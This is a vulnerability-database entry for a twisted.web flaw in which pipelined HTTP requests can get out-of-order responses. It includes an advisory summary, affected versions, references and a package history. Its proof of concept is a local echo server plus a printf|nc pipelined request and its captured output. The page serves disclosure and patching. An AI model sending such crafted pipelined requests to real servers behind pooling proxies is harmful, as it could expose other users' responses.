twisted.web has disordered HTTP pipeline response
Summary
The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.
PoC
- Start a fresh Debian container:
docker run --workdir /repro --rm -it debian:bookworm-slim- Install twisted and its dependencies:
apt -y update && apt -y install ncat git python3 python3-pip \
&& git clone --recurse-submodules https://github.com/twisted/twisted \
&& cd twisted \
&& pip3 install --break-system-packages .- Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(80, site)
reactor.run()- Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80- Observe that the responses arrive out of order:
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:41 GMT
Content-Length: 5
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 4
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0.post0
Date: Tue, 09 Jul 2024 06:19:42 GMT
Content-Length: 5
Content-Type: text/html
POSTImpact
See GHSA-xc8x-vp79-p3wm. Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | twisted | < 24.7.0rc1 | 24.7.0rc1 |
References
- https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7
- https://nvd.nist.gov/vuln/detail/CVE-2024-41671
- https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33
- https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc
- https://github.com/twisted/twisted
- https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html
- https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167
- https://pypi.org/project/twisted
- https://github.com/advisories/GHSA-c8m8-j448-xjx7
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L- Weakness (CWE)
CWE-444- Platform
- Python (PyPI)
- Package
twisted- Disclosed
- 29.07.2024
- Updated
- 11.10.2026 13:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1992 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-c8m8-j448-xjx7 - CC BY 4.0
Vulnerability history: twisted
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 17
- First → latest
- 06.2019 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 4
- Medium 8
Disclosures per year
- 2019: 3
- 2020: 3
- 2021: 0
- 2022: 6
- 2023: 1
- 2024: 2
- 2025: 0
- 2026: 2
-
twisted.web has disordered HTTP pipeline response this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.